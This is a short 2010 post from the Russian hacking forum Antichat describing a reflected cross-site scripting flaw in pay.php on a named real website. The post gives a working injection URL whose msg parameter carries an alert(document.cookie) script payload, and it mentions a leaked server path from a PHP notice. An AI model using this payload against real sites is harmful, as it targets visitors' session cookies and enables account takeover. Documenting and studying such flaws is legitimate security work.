
25.05.2010, 21:17
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Межсайтовый скриптинг
..............................................
подставляем левое значение.
http://20.goldsvet.biz/lobby/pay.php?type=blah
Notice: Undefined variable: msg in /home/[раскрыт путь, но толку от него 0]/pay.php on line 88
найдена переменная msg(о ней ниже)->XSS
переменная msg в которой содержится выводимое сообщение о начислении бонуса стало Undefined. И ее можно переопределить.
http://20.goldsvet.biz/lobby/pay.php?type=blah&msg=<script>alert(document.cooki e)</script>
..............................................
Последний раз редактировалось The matrix; 25.05.2010 в 22:35..
|
|
|